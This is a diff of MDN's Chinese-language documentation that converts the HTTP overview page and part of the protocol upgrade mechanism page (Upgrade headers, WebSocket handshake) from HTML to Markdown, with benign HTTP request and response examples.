    HTTP 是一个 client-server 协议:请求通过一个实体被发出,实体也就是用户代理。大多数情况下,这个用户代理都是指浏览器,当然它也可能是任何东西,比如一个爬取网页生成维护搜索引擎索引的机器爬虫。

    +HTTP 是一个 client-server 协议:请求通过一个实体被发出,实体也就是用户代理。大多数情况下,这个用户代理都是指浏览器,当然它也可能是任何东西,比如一个爬取网页生成维护搜索引擎索引的机器爬虫。 -

    每一个发送到服务器的请求,都会被服务器处理并返回一个消息,也就是response。在这个请求与响应之间,还有许许多多的被称为 {{Glossary("Proxy_server", "proxies")}} 的实体,他们的作用与表现各不相同,比如有些是网关,还有些是{{glossary("Cache", "caches")}}等。

    +每一个发送到服务器的请求,都会被服务器处理并返回一个消息,也就是*response*。在这个请求与响应之间,还有许许多多的被称为 {{Glossary("Proxy_server", "proxies")}} 的实体,他们的作用与表现各不相同,比如有些是网关,还有些是{{glossary("Cache", "caches")}}等。 -

    +![](client-server-chain.png) -

    实际上,在一个浏览器和处理请求的服务器之间,还有路由器、调制解调器等许多计算机。由于 Web 的层次设计,那些在网络层和传输层的细节都被隐藏起来了。HTTP 位于最上层的应用层。虽然底层对于分析网络问题非常重要,但是大多都跟对 HTTP 的描述不相干。

    +实际上,在一个浏览器和处理请求的服务器之间,还有路由器、调制解调器等许多计算机。由于 Web 的层次设计,那些在网络层和传输层的细节都被隐藏起来了。HTTP 位于最上层的应用层。虽然底层对于分析网络问题非常重要,但是大多都跟对 HTTP 的描述不相干。 -

    客户端:user-agent

    +### 客户端:user-agent -

    user-agent 就是任何能够为用户发起行为的工具。这个角色通常都是由浏览器来扮演。一些例外情况,比如是工程师使用的程序,以及 Web 开发人员调试应用程序。

    +user-agent 就是任何能够为用户发起行为的工具。这个角色通常都是由浏览器来扮演。一些例外情况,比如是工程师使用的程序,以及 Web 开发人员调试应用程序。 -

    浏览器总是作为发起一个请求的实体,他永远不是服务器(虽然近几年已经出现一些机制能够模拟由服务器发起的请求消息了)。

    +浏览器**总是**作为发起一个请求的实体,他永远不是服务器(虽然近几年已经出现一些机制能够模拟由服务器发起的请求消息了)。 -

    要展现一个网页,浏览器首先发送一个请求来获取页面的 HTML 文档,再解析文档中的资源信息发送其他请求,获取可执行脚本或 CSS 样式来进行页面布局渲染,以及一些其它页面资源(如图片和视频等)。然后,浏览器将这些资源整合到一起,展现出一个完整的文档,也就是网页。浏览器执行的脚本可以在之后的阶段获取更多资源,并相应地更新网页。

    +要展现一个网页,浏览器首先发送一个请求来获取页面的 HTML 文档,再解析文档中的资源信息发送其他请求,获取可执行脚本或 CSS 样式来进行页面布局渲染,以及一些其它页面资源(如图片和视频等)。然后,浏览器将这些资源整合到一起,展现出一个完整的文档,也就是网页。浏览器执行的脚本可以在之后的阶段获取更多资源,并相应地更新网页。 -

    一个网页就是一个超文本文档。也就是说,有一部分显示的文本可能是链接,启动它(通常是鼠标的点击)就可以获取一个新的网页,使得用户可以控制客户端进行网上冲浪。浏览器来负责发送 HTTP 请求,并进一步解析 HTTP 返回的消息,以向用户提供明确的响应。

    +一个网页就是一个超文本文档。也就是说,有一部分显示的文本可能是链接,启动它(通常是鼠标的点击)就可以获取一个新的网页,使得用户可以控制客户端进行网上冲浪。浏览器来负责发送 HTTP 请求,并进一步解析 HTTP 返回的消息,以向用户提供明确的响应。 -

    Web 服务端

    +### Web 服务端 -

    在上述通信过程的另一端,是由 Web Server 来服务并提供客户端所请求的文档。Server 只是虚拟意义上代表一个机器:它可以是共享负载(负载均衡)的一组服务器组成的计算机集群,也可以是一种复杂的软件,通过向其他计算机(如缓存,数据库服务器,电子商务服务器 ...)发起请求来获取部分或全部资源。

    +在上述通信过程的另一端,是由 Web Server 来*服务*并提供客户端所请求的文档。Server 只是虚拟意义上代表一个机器:它可以是共享负载(负载均衡)的一组服务器组成的计算机集群,也可以是一种复杂的软件,通过向其他计算机(如缓存,数据库服务器,电子商务服务器 ...)发起请求来获取部分或全部资源。 -

    Server 不一定是一台机器,但一个机器上可以装载的众多 Servers。在 HTTP/1.1 和{{HTTPHeader("Host")}}头部中,它们甚至可以共享同一个 IP 地址。

    +Server 不一定是一台机器,但一个机器上可以装载的众多 Servers。在 HTTP/1.1 和{{HTTPHeader("Host")}}头部中,它们甚至可以共享同一个 IP 地址。 -

    代理(Proxies)

    +### 代理(Proxies) -

    在浏览器和服务器之间,有许多计算机和其他设备转发了 HTTP 消息。由于 Web 栈层次结构的原因,它们大多都出现在传输层、网络层和物理层上,对于 HTTP 应用层而言就是透明的,虽然它们可能会对应用层性能有重要影响。还有一部分是表现在应用层上的,被称为代理(Proxies)。代理(Proxies)既可以表现得透明,又可以不透明(“改变请求”会通过它们)。代理主要有如下几种作用:

    +在浏览器和服务器之间,有许多计算机和其他设备转发了 HTTP 消息。由于 Web 栈层次结构的原因,它们大多都出现在传输层、网络层和物理层上,对于 HTTP 应用层而言就是透明的,虽然它们可能会对应用层性能有重要影响。还有一部分是表现在应用层上的,被称为**代理(Proxies)**。代理(Proxies)既可以表现得透明,又可以不透明(“改变请求”会通过它们)。代理主要有如下几种作用: -
      -
    • 缓存(可以是公开的也可以是私有的,像浏览器的缓存)
    • -
    • 过滤(像反病毒扫描,家长控制...)
    • -
    • 负载均衡(让多个服务器服务不同的请求)
    • -
    • 认证(对不同资源进行权限管理)
    • -
    • 日志记录(允许存储历史信息)
    • -
    +- 缓存(可以是公开的也可以是私有的,像浏览器的缓存) +- 过滤(像反病毒扫描,家长控制...) +- 负载均衡(让多个服务器服务不同的请求) +- 认证(对不同资源进行权限管理) +- 日志记录(允许存储历史信息) -

    HTTP 的基本性质

    +## HTTP 的基本性质 -

    HTTP 是简单的

    +### HTTP 是简单的 -

    虽然下一代 HTTP/2 协议将 HTTP 消息封装到了帧(frames)中,HTTP 大体上还是被设计得简单易读。HTTP 报文能够被人读懂,还允许简单测试,降低了门槛,对新人很友好。

    +虽然下一代 HTTP/2 协议将 HTTP 消息封装到了帧(frames)中,HTTP 大体上还是被设计得简单易读。HTTP 报文能够被人读懂,还允许简单测试,降低了门槛,对新人很友好。 -

    HTTP 是可扩展的

    +### HTTP 是可扩展的 -

    在 HTTP/1.0 中出现的 HTTP headers 让协议扩展变得非常容易。只要服务端和客户端就新 headers 达成语义一致,新功能就可以被轻松加入进来。

    +在 HTTP/1.0 中出现的 [HTTP headers](/zh-CN/docs/Web/HTTP/Headers) 让协议扩展变得非常容易。只要服务端和客户端就新 headers 达成语义一致,新功能就可以被轻松加入进来。 -

    HTTP 是无状态,有会话的

    +### HTTP 是无状态,有会话的 -

    HTTP 是无状态的:在同一个连接中,两个执行成功的请求之间是没有关系的。这就带来了一个问题,用户没有办法在同一个网站中进行连续的交互,比如在一个电商网站里,用户把某个商品加入到购物车,切换一个页面后再次添加了商品,这两次添加商品的请求之间没有关联,浏览器无法知道用户最终选择了哪些商品。而使用 HTTP 的头部扩展,HTTP Cookies 就可以解决这个问题。把 Cookies 添加到头部中,创建一个会话让每次请求都能共享相同的上下文信息,达成相同的状态。

    +HTTP 是无状态的:在同一个连接中,两个执行成功的请求之间是没有关系的。这就带来了一个问题,用户没有办法在同一个网站中进行连续的交互,比如在一个电商网站里,用户把某个商品加入到购物车,切换一个页面后再次添加了商品,这两次添加商品的请求之间没有关联,浏览器无法知道用户最终选择了哪些商品。而使用 HTTP 的头部扩展,HTTP Cookies 就可以解决这个问题。把 Cookies 添加到头部中,创建一个会话让每次请求都能共享相同的上下文信息,达成相同的状态。 -

    注意,HTTP 本质是无状态的,使用 Cookies 可以创建有状态的会话。

    +注意,HTTP 本质是无状态的,使用 Cookies 可以创建有状态的会话。 -

    HTTP 和连接

    +### HTTP 和连接 -

    一个连接是由传输层来控制的,这从根本上不属于 HTTP 的范围。HTTP 并不需要其底层的传输层协议是面向连接的,只需要它是可靠的,或不丢失消息的(至少返回错误)。在互联网中,有两个最常用的传输层协议:TCP 是可靠的,而 UDP 不是。因此,HTTP 依赖于面向连接的 TCP 进行消息传递,但连接并不是必须的。

    +一个连接是由传输层来控制的,这从根本上不属于 HTTP 的范围。HTTP 并不需要其底层的传输层协议是面向连接的,只需要它是可靠的,或不丢失消息的(至少返回错误)。在互联网中,有两个最常用的传输层协议:TCP 是可靠的,而 UDP 不是。因此,HTTP 依赖于面向连接的 TCP 进行消息传递,但连接并不是必须的。 -

    在客户端(通常指浏览器)与服务器能够交互(客户端发起请求,服务器返回响应)之前,必须在这两者间建立一个 TCP 链接,打开一个 TCP 连接需要多次往返交换消息(因此耗时)。HTTP/1.0 默认为每一对 HTTP 请求/响应都打开一个单独的 TCP 连接。当需要连续发起多个请求时,这种模式比多个请求共享同一个 TCP 链接更低效。

    +在客户端(通常指浏览器)与服务器能够交互(客户端发起请求,服务器返回响应)之前,必须在这两者间建立一个 TCP 链接,打开一个 TCP 连接需要多次往返交换消息(因此耗时)。HTTP/1.0 默认为每一对 HTTP 请求/响应都打开一个单独的 TCP 连接。当需要连续发起多个请求时,这种模式比多个请求共享同一个 TCP 链接更低效。 -

    为了减轻这些缺陷,HTTP/1.1 引入了流水线(被证明难以实现)和持久连接的概念:底层的 TCP 连接可以通过{{HTTPHeader("Connection")}}头部来被部分控制。HTTP/2 则发展得更远,通过在一个连接复用消息的方式来让这个连接始终保持为暖连接。

    +为了减轻这些缺陷,HTTP/1.1 引入了流水线(被证明难以实现)和持久连接的概念:底层的 TCP 连接可以通过{{HTTPHeader("Connection")}}头部来被部分控制。HTTP/2 则发展得更远,通过在一个连接复用消息的方式来让这个连接始终保持为暖连接。 -

    为了更好的适合 HTTP,设计一种更好传输协议的进程一直在进行。Google 就研发了一种以 UDP 为基础,能提供更可靠更高效的传输协议QUIC

    +为了更好的适合 HTTP,设计一种更好传输协议的进程一直在进行。Google 就研发了一种以 UDP 为基础,能提供更可靠更高效的传输协议[QUIC](https://en.wikipedia.org/wiki/QUIC)。 -

    HTTP 能控制什么

    +## HTTP 能控制什么 -

    多年以来,HTTP 良好的扩展性使得越来越多的 Web 功能归其控制。缓存和认证很早就可以由 HTTP 来控制了。另一方面,对同源同域的限制到 2010 年才有所改变。

    +多年以来,HTTP 良好的扩展性使得越来越多的 Web 功能归其控制。缓存和认证很早就可以由 HTTP 来控制了。另一方面,对同源同域的限制到 2010 年才有所改变。 -

    以下是可以被 HTTP 控制的常见特性。

    +以下是可以被 HTTP 控制的常见特性。 -
      -
    • 缓存
      - 文档如何缓存能通过 HTTP 来控制。服务端能告诉代理和客户端哪些文档需要被缓存,缓存多久,而客户端也能够命令中间的缓存代理来忽略存储的文档。
    • -
    • 开放同源限制
      - 为了防止网络窥听和其它隐私泄漏,浏览器强制对 Web 网站做了分割限制。只有来自于相同来源的网页才能够获取网站的全部信息。这样的限制有时反而成了负担,HTTP 可以通过修改头部来开放这样的限制,因此 Web 文档可以是由不同域下的信息拼接成的(某些情况下,这样做还有安全因素考虑)。
    • -
    • 认证
      - 一些页面能够被保护起来,仅让特定的用户进行访问。基本的认证功能可以直接通过 HTTP 提供,使用{{HTTPHeader("Authenticate")}}相似的头部即可,或用 HTTP Cookies 来设置指定的会话。
    • -
    • 代理和隧道
      - 通常情况下,服务器和/或客户端是处于内网的,对外网隐藏真实 IP 地址。因此 HTTP 请求就要通过代理越过这个网络屏障。但并非所有的代理都是 HTTP 代理。例如,SOCKS 协议的代理就运作在更底层,一些像 FTP 这样的协议也能够被它们处理。
    • -
    • 会话
      - 使用 HTTP Cookies 允许你用一个服务端的状态发起请求,这就创建了会话。虽然基本的 HTTP 是无状态协议。这很有用,不仅是因为这能应用到像购物车这样的电商业务上,更是因为这使得任何网站都能轻松为用户定制展示内容了。
    • -
    +- [缓存](/zh-CN/docs/Web/HTTP/Caching) + 文档如何缓存能通过 HTTP 来控制。服务端能告诉代理和客户端哪些文档需要被缓存,缓存多久,而客户端也能够命令中间的缓存代理来忽略存储的文档。 +- _开放同源限制_ + 为了防止网络窥听和其它隐私泄漏,浏览器强制对 Web 网站做了分割限制。只有来自于**相同来源**的网页才能够获取网站的全部信息。这样的限制有时反而成了负担,HTTP 可以通过修改头部来开放这样的限制,因此 Web 文档可以是由不同域下的信息拼接成的(某些情况下,这样做还有安全因素考虑)。 +- _认证_ + 一些页面能够被保护起来,仅让特定的用户进行访问。基本的认证功能可以直接通过 HTTP 提供,使用{{HTTPHeader("Authenticate")}}相似的头部即可,或用 HTTP Cookies 来设置指定的会话。 +- _[代理和隧道](/zh-CN/docs/Web/HTTP/Proxy_servers_and_tunneling)_ + 通常情况下,服务器和/或客户端是处于内网的,对外网隐藏真实 IP 地址。因此 HTTP 请求就要通过代理越过这个网络屏障。但并非所有的代理都是 HTTP 代理。例如,SOCKS 协议的代理就运作在更底层,一些像 FTP 这样的协议也能够被它们处理。 +- _会话_ + 使用 HTTP Cookies 允许你用一个服务端的状态发起请求,这就创建了会话。虽然基本的 HTTP 是无状态协议。这很有用,不仅是因为这能应用到像购物车这样的电商业务上,更是因为这使得任何网站都能轻松为用户定制展示内容了。 -

    HTTP 流

    +## HTTP 流 -

    当客户端想要和服务端进行信息交互时(服务端是指最终服务器,或者是一个中间代理),过程表现为下面几步:

    +当客户端想要和服务端进行信息交互时(服务端是指最终服务器,或者是一个中间代理),过程表现为下面几步: -
      -
    1. 打开一个 TCP 连接:TCP 连接被用来发送一条或多条请求,以及接受响应消息。客户端可能打开一条新的连接,或重用一个已经存在的连接,或者也可能开几个新的 TCP 连接连向服务端。
    2. -
    3. 发送一个 HTTP 报文:HTTP 报文(在 HTTP/2 之前)是语义可读的。在 HTTP/2 中,这些简单的消息被封装在了帧中,这使得报文不能被直接读取,但是原理仍是相同的。 -
      GET / HTTP/1.1
      -Host: developer.mozilla.org
      -Accept-Language: fr
      -
    4. -
    5. 读取服务端返回的报文信息: -
      HTTP/1.1 200 OK
      -Date: Sat, 09 Oct 2010 14:28:02 GMT
      -Server: Apache
      -Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
      -ETag: "51142bc1-7449-479b075b2891b"
      -Accept-Ranges: bytes
      -Content-Length: 29769
      -Content-Type: text/html
      +1.  打开一个 TCP 连接:TCP 连接被用来发送一条或多条请求,以及接受响应消息。客户端可能打开一条新的连接,或重用一个已经存在的连接,或者也可能开几个新的 TCP 连接连向服务端。
      +2.  发送一个 HTTP 报文:HTTP 报文(在 HTTP/2 之前)是语义可读的。在 HTTP/2 中,这些简单的消息被封装在了帧中,这使得报文不能被直接读取,但是原理仍是相同的。
       
      -<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
      -
    6. -
    7. 关闭连接或者为后续请求重用连接。
    8. -
    + ```http + GET / HTTP/1.1 + Host: developer.mozilla.org + Accept-Language: fr + ``` -

    当 HTTP 流水线启动时,后续请求都可以不用等待第一个请求的成功响应就被发送。然而 HTTP 流水线已被证明很难在现有的网络中实现,因为现有网络中有很多老旧的软件与现代版本的软件共存。因此,HTTP 流水线已被在有多请求下表现得更稳健的 HTTP/2 的帧所取代。

    +3. 读取服务端返回的报文信息: -

    HTTP 报文

    + ```http + HTTP/1.1 200 OK + Date: Sat, 09 Oct 2010 14:28:02 GMT + Server: Apache + Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT + ETag: "51142bc1-7449-479b075b2891b" + Accept-Ranges: bytes + Content-Length: 29769 + Content-Type: text/html -

    HTTP/1.1 以及更早的 HTTP 协议报文都是语义可读的。在 HTTP/2 中,这些报文被嵌入到了一个新的二进制结构,帧。帧允许实现很多优化,比如报文头部的压缩和复用。即使只有原始 HTTP 报文的一部分以 HTTP/2 发送出来,每条报文的语义依旧不变,客户端会重组原始 HTTP/1.1 请求。因此用 HTTP/1.1 格式来理解 HTTP/2 报文仍旧有效。

    + 有两种 HTTP 报文的类型,请求与响应,每种都有其特定的格式。

    +4. 关闭连接或者为后续请求重用连接。 -

    请求

    +当 HTTP 流水线启动时,后续请求都可以不用等待第一个请求的成功响应就被发送。然而 HTTP 流水线已被证明很难在现有的网络中实现,因为现有网络中有很多老旧的软件与现代版本的软件共存。因此,HTTP 流水线已被在有多请求下表现得更稳健的 HTTP/2 的帧所取代。 -

    HTTP 请求的一个例子:

    +## HTTP 报文 -

    A basic HTTP request

    +HTTP/1.1 以及更早的 HTTP 协议报文都是语义可读的。在 HTTP/2 中,这些报文被嵌入到了一个新的二进制结构,帧。帧允许实现很多优化,比如报文头部的压缩和复用。即使只有原始 HTTP 报文的一部分以 HTTP/2 发送出来,每条报文的语义依旧不变,客户端会重组原始 HTTP/1.1 请求。因此用 HTTP/1.1 格式来理解 HTTP/2 报文仍旧有效。 -

    请求由以下元素组成:

    +有两种 HTTP 报文的类型,请求与响应,每种都有其特定的格式。 -
      -
    • 一个 HTTP 的method,经常是由一个动词像{{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} 或者一个名词像{{HTTPMethod("OPTIONS")}},{{HTTPMethod("HEAD")}}来定义客户端的动作行为。通常客户端的操作都是获取资源(GET 方法)或者发送HTML form表单(POST 方法),虽然在一些情况下也会有其他操作。
    • -
    • 要获取的资源的路径,通常是上下文中就很明显的元素资源的 URL,它没有{{glossary("protocol")}}(http://),{{glossary("domain")}}(developer.mozilla.org),或是 TCP 的{{glossary("port")}}(HTTP 一般在 80 端口)。
    • -
    • HTTP 协议版本号。
    • -
    • 为服务端表达其他信息的可选头部headers
    • -
    • 对于一些像 POST 这样的方法,报文的 body 就包含了发送的资源,这与响应报文的 body 类似。
    • -
    +### 请求 -

    响应

    +HTTP 请求的一个例子: -

    HTTP 响应的一个例子:

    +![A basic HTTP request](http_request.png) -

    +请求由以下元素组成: -

    响应报文包含了下面的元素:

    +- 一个 HTTP 的[method](/zh-CN/docs/Web/HTTP/Methods),经常是由一个动词像{{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} 或者一个名词像{{HTTPMethod("OPTIONS")}},{{HTTPMethod("HEAD")}}来定义客户端的动作行为。通常客户端的操作都是获取资源(GET 方法)或者发送[HTML form](/zh-CN/docs/Learn/Forms)表单(POST 方法),虽然在一些情况下也会有其他操作。 +- 要获取的资源的路径,通常是上下文中就很明显的元素资源的 URL,它没有{{glossary("protocol")}}(`http://`),{{glossary("domain")}}(`developer.mozilla.org`),或是 TCP 的{{glossary("port")}}(HTTP 一般在 80 端口)。 +- HTTP 协议版本号。 +- 为服务端表达其他信息的可选头部[headers](/zh-CN/docs/Web/HTTP/Headers)。 +- 对于一些像 POST 这样的方法,报文的 body 就包含了发送的资源,这与响应报文的 body 类似。 -
      -
    • HTTP 协议版本号。
    • -
    • 一个状态码(status code),来告知对应请求执行成功或失败,以及失败的原因。
    • -
    • 一个状态信息,这个信息是非权威的状态码描述信息,可以由服务端自行设定。
    • -
    • HTTP headers,与请求头部类似。
    • -
    • 可选项,比起请求报文,响应报文中更常见地包含获取的资源 body。
    • -
    +### 响应 -

    基于 HTTP 的 APIs

    +HTTP 响应的一个例子: -


    - 基于 HTTP 的最常用 API 是{{domxref("XMLHttpRequest")}} API,可用于在{{Glossary("user agent")}}和服务器之间交换数据。 现代{{domxref("Fetch API")}}提供相同的功能,具有更强大和灵活的功能集。
    -
    - 另一种 API,即服务器发送的事件,是一种单向服务,允许服务器使用 HTTP 作为传输机制向客户端发送事件。 使用{{domxref("EventSource")}}接口,客户端打开连接并建立事件句柄。 客户端浏览器自动将到达 HTTP 流的消息转换为适当的{{domxref("Event")}}对象,并将它们传递给专门处理这类{{domxref("Event.type", "type")}}事件的句柄,如果有这么个句柄的话。但如果相应的事件处理句柄根本没有建立,那就交给{{domxref("EventSource.onmessage", "onmessage")}}事件处理程序处理。

    +![](http_response.png) -

    总结

    +响应报文包含了下面的元素: -

    HTTP 是一种简单可扩展的协议,其 Client-Server 的结构以及轻松扩展头部信息的能力使得 HTTP 可以和 Web 共同发展。

    +- HTTP 协议版本号。 +- 一个状态码([status code](/zh-CN/docs/Web/HTTP/Status)),来告知对应请求执行成功或失败,以及失败的原因。 +- 一个状态信息,这个信息是非权威的状态码描述信息,可以由服务端自行设定。 +- HTTP [headers](/zh-CN/docs/Web/HTTP/Headers),与请求头部类似。 +- 可选项,比起请求报文,响应报文中更常见地包含获取的资源 body。 -

    即使 HTTP/2 为了提高性能将 HTTP 报文嵌入到帧中这一举措增加了复杂度,但是从 Web 应用的角度看,报文的基本结构没有变化,从 HTTP/1.0 发布起就是这样的结构。会话流依旧简单,通过一个简单的 HTTP message monitor就可以查看和纠错。

    +## 基于 HTTP 的 APIs + +基于 HTTP 的最常用 API 是{{domxref("XMLHttpRequest")}} API,可用于在{{Glossary("user agent")}}和服务器之间交换数据。 现代{{domxref("Fetch API")}}提供相同的功能,具有更强大和灵活的功能集。 + +另一种 API,即服务器发送的事件,是一种单向服务,允许服务器使用 HTTP 作为传输机制向客户端发送事件。 使用{{domxref("EventSource")}}接口,客户端打开连接并建立事件句柄。 客户端浏览器自动将到达 HTTP 流的消息转换为适当的{{domxref("Event")}}对象,并将它们传递给专门处理这类{{domxref("Event.type", "type")}}事件的句柄,如果有这么个句柄的话。但如果相应的事件处理句柄根本没有建立,那就交给{{domxref("EventSource.onmessage", "onmessage")}}事件处理程序处理。 + +## 总结 + +HTTP 是一种简单可扩展的协议,其 Client-Server 的结构以及轻松扩展头部信息的能力使得 HTTP 可以和 Web 共同发展。 + +即使 HTTP/2 为了提高性能将 HTTP 报文嵌入到帧中这一举措增加了复杂度,但是从 Web 应用的角度看,报文的基本结构没有变化,从 HTTP/1.0 发布起就是这样的结构。会话流依旧简单,通过一个简单的 [HTTP message monitor](/zh-CN/docs/Tools/Network_Monitor)就可以查看和纠错。 diff --git a/files/zh-cn/web/http/protocol_upgrade_mechanism/index.md b/files/zh-cn/web/http/protocol_upgrade_mechanism/index.md index 31d37522eb872f..7901b359a2f8ed 100644 --- a/files/zh-cn/web/http/protocol_upgrade_mechanism/index.md +++ b/files/zh-cn/web/http/protocol_upgrade_mechanism/index.md @@ -3,220 +3,231 @@ title: 协议升级机制 slug: Web/HTTP/Protocol_upgrade_mechanism translation_of: Web/HTTP/Protocol_upgrade_mechanism --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    HTTP 协议 提供了一种特殊的机制,这一机制允许将一个已建立的连接升级成新的、不相容的协议。这篇指南涵盖了其工作原理和使用场景。

    +[HTTP 协议](/zh-CN/docs/Web/HTTP) 提供了一种特殊的机制,这一机制允许将一个已建立的连接升级成新的、不相容的协议。这篇指南涵盖了其工作原理和使用场景。 -

    通常来说这一机制总是由客户端发起的(不过也有例外,比如说可以由服务端发起升级到传输层安全协议(TLS)), 服务端可以选择是否要升级到新协议。借助这一技术,连接可以以常用的协议启动(如 HTTP/1.1),随后再升级到 HTTP2 甚至是 WebSockets.

    +通常来说这一机制总是由客户端发起的(不过也有例外,比如说可以由服务端发起[升级到传输层安全协议(TLS)](#server-initiated_upgrade_to_tls)), 服务端可以选择是否要升级到新协议。借助这一技术,连接可以以常用的协议启动(如 HTTP/1.1),随后再升级到 HTTP2 甚至是 WebSockets. -

    注意:HTTP/2 明确禁止使用此机制,这个机制只属于 HTTP/1.1

    +注意:HTTP/2 明确禁止使用此机制,这个机制只属于 HTTP/1.1 -

    升级 HTTP/1.1 的链接

    +## 升级 HTTP/1.1 的链接 -

    协议升级请求总是由客户端发起的;暂时没有服务端请求协议更改的机制。当客户端试图升级到一个新的协议时,可以先发送一个普通的请求({{HTTPMethod("GET")}},{{HTTPMethod("POST")}}等),不过这个请求需要进行特殊配置以包含升级请求。

    +协议升级请求总是由客户端发起的;暂时没有服务端请求协议更改的机制。当客户端试图升级到一个新的协议时,可以先发送一个普通的请求({{HTTPMethod("GET")}},{{HTTPMethod("POST")}}等),不过这个请求需要进行特殊配置以包含升级请求。 -

    特别这个请求需要添加两项额外的 header:

    +特别这个请求需要添加两项额外的 header: -
    -
    Connection: Upgrade
    -
    设置 Connection 头的值为 "Upgrade" 来指示这是一个升级请求。
    -
    Upgrade: protocols
    -
    Upgrade 头指定一项或多项协议名,按优先级排序,以逗号分隔。
    -
    +- [`Connection: Upgrade`](/en-US/docs/Web/HTTP/Headers/Connection) + - : 设置 `Connection` 头的值为 `"Upgrade"` 来指示这是一个升级请求。 +- [`Upgrade: protocols`](/zh-CN/docs/Web/HTTP/Headers/Upgrade) + - : `Upgrade` 头指定一项或多项协议名,按优先级排序,以逗号分隔。 -

    一个典型的包含升级请求的例子差不多是这样的:

    +一个典型的包含升级请求的例子差不多是这样的: -
    GET /index.html HTTP/1.1
    +```plain
    +GET /index.html HTTP/1.1
     Host: www.example.com
     Connection: upgrade
    -Upgrade: example/1, foo/2
    +Upgrade: example/1, foo/2 +``` -

    根据之前的请求的协议,可能需要其他头部信息,例如:从 HTTP/1.1 升级到WebSocket 允许配置有关 WebSocket 连接的头部详细信息,以及在连接时提供一定程度的安全性。查看 升级到 WebSocket 协议的连接 获取更多信息。

    +根据之前的请求的协议,可能需要其他头部信息,例如:从 HTTP/1.1 升级到[WebSocket](/zh-CN/docs/Web/API/WebSocket) 允许配置有关 WebSocket 连接的头部详细信息,以及在连接时提供一定程度的安全性。查看 [升级到 WebSocket 协议的连接](#升级到websocket协议的连接) 获取更多信息。 -

    如果服务器决定升级这次连接,就会返回一个 {{HTTPStatus(101, "101 Switching Protocols")}} 响应状态码,和一个要切换到的协议的头部字段 Upgrade。 如果服务器没有(或者不能)升级这次连接,它会忽略客户端发送的 "Upgrade 头部字段,返回一个常规的响应:例如一个{{HTTPStatus(200, "200 OK")}}).

    +如果服务器决定升级这次连接,就会返回一个 {{HTTPStatus(101, "101 Switching Protocols")}} 响应状态码,和一个要切换到的协议的头部字段 Upgrade。 如果服务器没有(或者不能)升级这次连接,它会忽略客户端发送的 `"Upgrade` 头部字段,返回一个常规的响应:例如一个{{HTTPStatus(200, "200 OK")}}). -

    服务在发送 {{HTTPStatus(101)}} 状态码之后,就可以使用新的协议,并可以根据需要执行任何其他协议指定的握手。实际上,一旦这次升级完成了,连接就变成了双向管道。并且可以通过新协议完成启动升级的请求。

    +服务在发送 {{HTTPStatus(101)}} 状态码之后,就可以使用新的协议,并可以根据需要执行任何其他协议指定的握手。实际上,一旦这次升级完成了,连接就变成了双向管道。并且可以通过新协议完成启动升级的请求。 -

    由 HTTP/1.1 请求建立的连接可以升级为 HTTP/2 协议的连接,但是反过来不可以。事实上 HTTP/2 已经不再支持 101 状态码了,也不再支持任何连接升级机制。

    +由 HTTP/1.1 请求建立的连接可以升级为 HTTP/2 协议的连接,但是反过来不可以。事实上 HTTP/2 已经不再支持 101 状态码了,也不再支持任何连接升级机制。 -

    升级机制的常用场合

    +## 升级机制的常用场合 -

    此处将介绍最常用到 Upgrade header 的场合。

    +此处将介绍最常用到 `Upgrade` header 的场合。 -

    升级到 WebSocket 协议的连接

    +### 升级到 WebSocket 协议的连接 -

    至今为止最经常会需要升级一个 HTTP 连接的场合就是使用 WebSocket。当你用 WebSocket API 以及其他大部分实现 WebSockets 的库去建立 WebSocket 连接时,基本上都不用操心升级的过程,因为这些 API 已经实现了这一步。比如,用如下 API 打开一个 WebSocket 连接:

    +至今为止最经常会需要升级一个 HTTP 连接的场合就是使用 WebSocket。当你用 [WebSocket API](/zh-CN/docs/Web/API/WebSocket) 以及其他大部分实现 WebSockets 的库去建立 WebSocket 连接时,基本上都不用操心升级的过程,因为这些 API 已经实现了这一步。比如,用如下 API 打开一个 WebSocket 连接: -
    webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");
    +```plain +webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol"); +``` -

    {{domxref("WebSocket.WebSocket", "WebSocket()")}} 构造函数已经自动完成了发送初始 HTTP/1.1 请求,处理握手及升级过程。

    +{{domxref("WebSocket.WebSocket", "WebSocket()")}} 构造函数已经自动完成了发送初始 HTTP/1.1 请求,处理握手及升级过程。 -

    你也可以用 "wss://" 地址格式来打开安全的 WebSocket 连接。

    +你也可以用 `"wss://"` 地址格式来打开安全的 WebSocket 连接。 -

    如果想要自己重头实现 WebSocket 连接,就必须要处理握手和升级过程。在创建初始 HTTP/1.1 会话之后你需要发送另一个 HTTP 标准请求,但在 headers 中要带上{{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}},也就是:

    +如果想要自己重头实现 WebSocket 连接,就必须要处理握手和升级过程。在创建初始 HTTP/1.1 会话之后你需要发送另一个 HTTP 标准请求,但在 headers 中要带上{{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}},也就是: -
    Connection: Upgrade
    -Upgrade: websocket
    +```plain +Connection: Upgrade +Upgrade: websocket +``` -

    WebSocket 专有的 headers

    +### WebSocket 专有的 headers -

    以下 headers 是在 WebSocket 升级过程中会出现的。除了 {{HTTPHeader("Upgrade")}} 和 {{HTTPHeader("Connection")}} headers,其他的一般浏览器和服务器都会在交互过程中处理好。

    +以下 headers 是在 WebSocket 升级过程中会出现的。除了 {{HTTPHeader("Upgrade")}} 和 {{HTTPHeader("Connection")}} headers,其他的一般浏览器和服务器都会在交互过程中处理好。 -

    {{HTTPHeader("Sec-WebSocket-Extensions")}}

    +#### {{HTTPHeader("Sec-WebSocket-Extensions")}} -

    用于指定一个或多个请求服务器使用的协议级 WebSocket 扩展。允许在一个请求中使用多个 Sec-WebSocket-Extension 头,结果跟在一个头文件中包含了所有列出的扩展一样。

    +用于指定一个或多个请求服务器使用的协议级 WebSocket 扩展。允许在一个请求中使用多个 Sec-WebSocket-Extension 头,结果跟在一个头文件中包含了所有列出的扩展一样。 -
    Sec-WebSocket-Extensions: extensions
    +```plain +Sec-WebSocket-Extensions: extensions +``` -
    -
    extensions
    -
    指需要 (或支持) 的扩展的逗号分隔列表。这些值来自IANA WebSocket 扩展名注册表。带参数的扩展使用分号表示。
    -
